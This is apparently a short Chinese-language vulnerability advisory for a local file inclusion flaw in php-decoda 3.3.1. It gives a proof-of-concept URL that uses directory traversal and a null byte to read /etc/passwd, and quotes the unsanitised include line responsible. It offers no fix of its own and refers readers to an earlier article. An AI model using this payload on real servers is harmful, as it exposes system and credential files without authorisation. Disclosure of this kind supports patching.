标题: [php-decoda local file inclusion ] 
 
作者: [Number 7] 
 
软件地址: [http://milesj.me/code/php/decoda] 
 
影响版本: [3.3.1] 
 
测试平台: [linux] 
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 
证明:  
 
http://www.2cto.com /milesj-php-decoda/index.php?view=../../../../../../../etc/passwd%00
 
   
 
~~Line 111 in Index.php: 
 
    <?php    include $view .'.php'; ?> 
 
 www.2cto.com 修复：

包含漏洞修复请参考本站前文